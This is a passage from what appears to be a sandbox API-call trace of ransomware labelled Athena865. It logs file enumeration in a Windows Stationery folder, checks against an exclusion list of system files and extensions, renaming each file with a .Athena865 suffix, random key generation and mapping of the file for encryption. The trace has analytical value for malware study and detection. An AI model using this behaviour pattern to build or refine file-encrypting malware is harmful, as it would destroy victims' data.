(lpString1="Memo.emf", lpString2="MSBuild") returned -1 [0116.592] lstrlenW (lpString="Memo.emf") returned 8 [0116.592] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Memo.emf" | out: lpString1="Memo.emf") returned="Memo.emf" [0116.592] lstrlenW (lpString="Memo.emf") returned 8 [0116.592] lstrlenW (lpString="Athena865") returned 9 [0116.592] lstrlenW (lpString=".dll") returned 4 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2=".dll") returned 1 [0116.592] lstrlenW (lpString=".lnk") returned 4 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2=".lnk") returned 1 [0116.592] lstrlenW (lpString=".ini") returned 4 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2=".ini") returned 1 [0116.592] lstrlenW (lpString=".sys") returned 4 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2=".sys") returned 1 [0116.592] lstrlenW (lpString="Memo.emf") returned 8 [0116.592] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.Athena865") returned 76 [0116.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.athena865"), dwFlags=0x1) returned 1 [0116.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.593] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=152300) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.594] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.594] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.594] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.595] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x255f0, lpName=0x0) returned 0x154 [0116.596] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x255f0) returned 0x170000 [0116.603] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.604] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.604] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.605] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.606] CloseHandle (hObject=0x154) returned 1 [0116.606] CloseHandle (hObject=0x17c) returned 1 [0116.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.607] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2=".") returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="..") returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="windows") returned -1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="bootmgr") returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="temp") returned -1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="pagefile.sys") returned -1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="boot") returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="ids.txt") returned 1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="ntuser.dat") returned -1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="perflogs") returned -1 [0116.607] lstrcmpiW (lpString1="Monet.jpg", lpString2="MSBuild") returned -1 [0116.607] lstrlenW (lpString="Monet.jpg") returned 9 [0116.607] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Monet.jpg" | out: lpString1="Monet.jpg") returned="Monet.jpg" [0116.607] lstrlenW (lpString="Monet.jpg") returned 9 [0116.607] lstrlenW (lpString="Athena865") returned 9 [0116.608] lstrlenW (lpString=".dll") returned 4 [0116.608] lstrcmpiW (lpString1="Monet.jpg", lpString2=".dll") returned 1 [0116.608] lstrlenW (lpString=".lnk") returned 4 [0116.608] lstrcmpiW (lpString1="Monet.jpg", lpString2=".lnk") returned 1 [0116.608] lstrlenW (lpString=".ini") returned 4 [0116.608] lstrcmpiW (lpString1="Monet.jpg", lpString2=".ini") returned 1 [0116.608] lstrlenW (lpString=".sys") returned 4 [0116.608] lstrcmpiW (lpString1="Monet.jpg", lpString2=".sys") returned 1 [0116.608] lstrlenW (lpString="Monet.jpg") returned 9 [0116.608] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.Athena865") returned 77 [0116.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.athena865"), dwFlags=0x1) returned 1 [0116.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.609] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2209) returned 1 [0116.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.609] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.610] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.610] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.610] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbb0, lpName=0x0) returned 0x154 [0116.611] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbb0) returned 0x100000 [0116.612] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.613] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.613] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.614] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.614] CloseHandle (hObject=0x154) returned 1 [0116.614] CloseHandle (hObject=0x17c) returned 1 [0116.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".") returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="..") returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="windows") returned -1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="bootmgr") returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="temp") returned -1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="pagefile.sys") returned -1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="boot") returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="ids.txt") returned 1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="ntuser.dat") returned -1 [0116.614] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="perflogs") returned -1 [0116.615] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="MSBuild") returned -1 [0116.615] lstrlenW (lpString="Month_Calendar.emf") returned 18 [0116.615] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Month_Calendar.emf" | out: lpString1="Month_Calendar.emf") returned="Month_Calendar.emf" [0116.615] lstrlenW (lpString="Month_Calendar.emf") returned 18 [0116.615] lstrlenW (lpString="Athena865") returned 9 [0116.615] lstrcmpiW (lpString1="endar.emf", lpString2="Athena865") returned 1 [0116.615] lstrlenW (lpString=".dll") returned 4 [0116.615] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".dll") returned 1 [0116.615] lstrlenW (lpString=".lnk") returned 4 [0116.615] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".lnk") returned 1 [0116.615] lstrlenW (lpString=".ini") returned 4 [0116.615] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".ini") returned 1 [0116.615] lstrlenW (lpString=".sys") returned 4 [0116.615] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".sys") returned 1 [0116.615] lstrlenW (lpString="Month_Calendar.emf") returned 18 [0116.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.Athena865") returned 86 [0116.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.athena865"), dwFlags=0x1) returned 1 [0116.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4192) returned 1 [0116.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.616] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.617] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.617] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.617] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1360, lpName=0x0) returned 0x154 [0116.619] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1360) returned 0x100000 [0116.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.620] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.620] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.621] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.621] CloseHandle (hObject=0x154) returned 1 [0116.621] CloseHandle (hObject=0x17c) returned 1 [0116.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.622] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2=".") returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="..") returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="windows") returned -1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="bootmgr") returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="temp") returned -1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="pagefile.sys") returned -1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="boot") returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="ids.txt") returned 1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="ntuser.dat") returned -1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="perflogs") returned -1 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2="MSBuild") returned 1 [0116.622] lstrlenW (lpString="Music.emf") returned 9 [0116.622] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Music.emf" | out: lpString1="Music.emf") returned="Music.emf" [0116.622] lstrlenW (lpString="Music.emf") returned 9 [0116.622] lstrlenW (lpString="Athena865") returned 9 [0116.622] lstrlenW (lpString=".dll") returned 4 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2=".dll") returned 1 [0116.622] lstrlenW (lpString=".lnk") returned 4 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2=".lnk") returned 1 [0116.622] lstrlenW (lpString=".ini") returned 4 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2=".ini") returned 1 [0116.622] lstrlenW (lpString=".sys") returned 4 [0116.622] lstrcmpiW (lpString1="Music.emf", lpString2=".sys") returned 1 [0116.622] lstrlenW (lpString="Music.emf") returned 9 [0116.623] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.Athena865") returned 77 [0116.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.athena865"), dwFlags=0x1) returned 1 [0116.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.624] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26036) returned 1 [0116.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.625] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.625] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.625] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x68c0, lpName=0x0) returned 0x154 [0116.628] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x68c0) returned 0x100000 [0116.629] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.630] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.630] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.631] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.631] CloseHandle (hObject=0x154) returned 1 [0116.631] CloseHandle (hObject=0x17c) returned 1 [0116.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.631] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0116.631] lstrcmpiW (lpString1="Notebook.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.631] lstrcmpiW (lpString1="Notebook.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.631] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".") returned 1 [0116.632] lstrcmpiW (lpString1="Notebook.jpg", lpString2="..") returned 1 [0116.632] lstrcmpiW (lpString1="Notebook.jpg", lpString2="windows") returned -1 [0116.632] lstrcmpiW (lpString1="Notebook.jpg", lpString2="bootmgr") returned 1 [0116.632] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Notebook.jpg" | out: lpString1="Notebook.jpg") returned="Notebook.jpg" [0116.632] lstrlenW (lpString="Notebook.jpg") returned 12 [0116.632] lstrlenW (lpString="Athena865") returned 9 [0116.632] lstrcmpiW (lpString1="ebook.jpg", lpString2="Athena865") returned 1 [0116.632] lstrlenW (lpString=".dll") returned 4 [0116.632] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".dll") returned 1 [0116.632] lstrlenW (lpString=".lnk") returned 4 [0116.632] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".lnk") returned 1 [0116.632] lstrlenW (lpString=".ini") returned 4 [0116.632] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".ini") returned 1 [0116.632] lstrlenW (lpString=".sys") returned 4 [0116.632] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".sys") returned 1 [0116.632] lstrlenW (lpString="Notebook.jpg") returned 12 [0116.632] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.Athena865") returned 80 [0116.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program 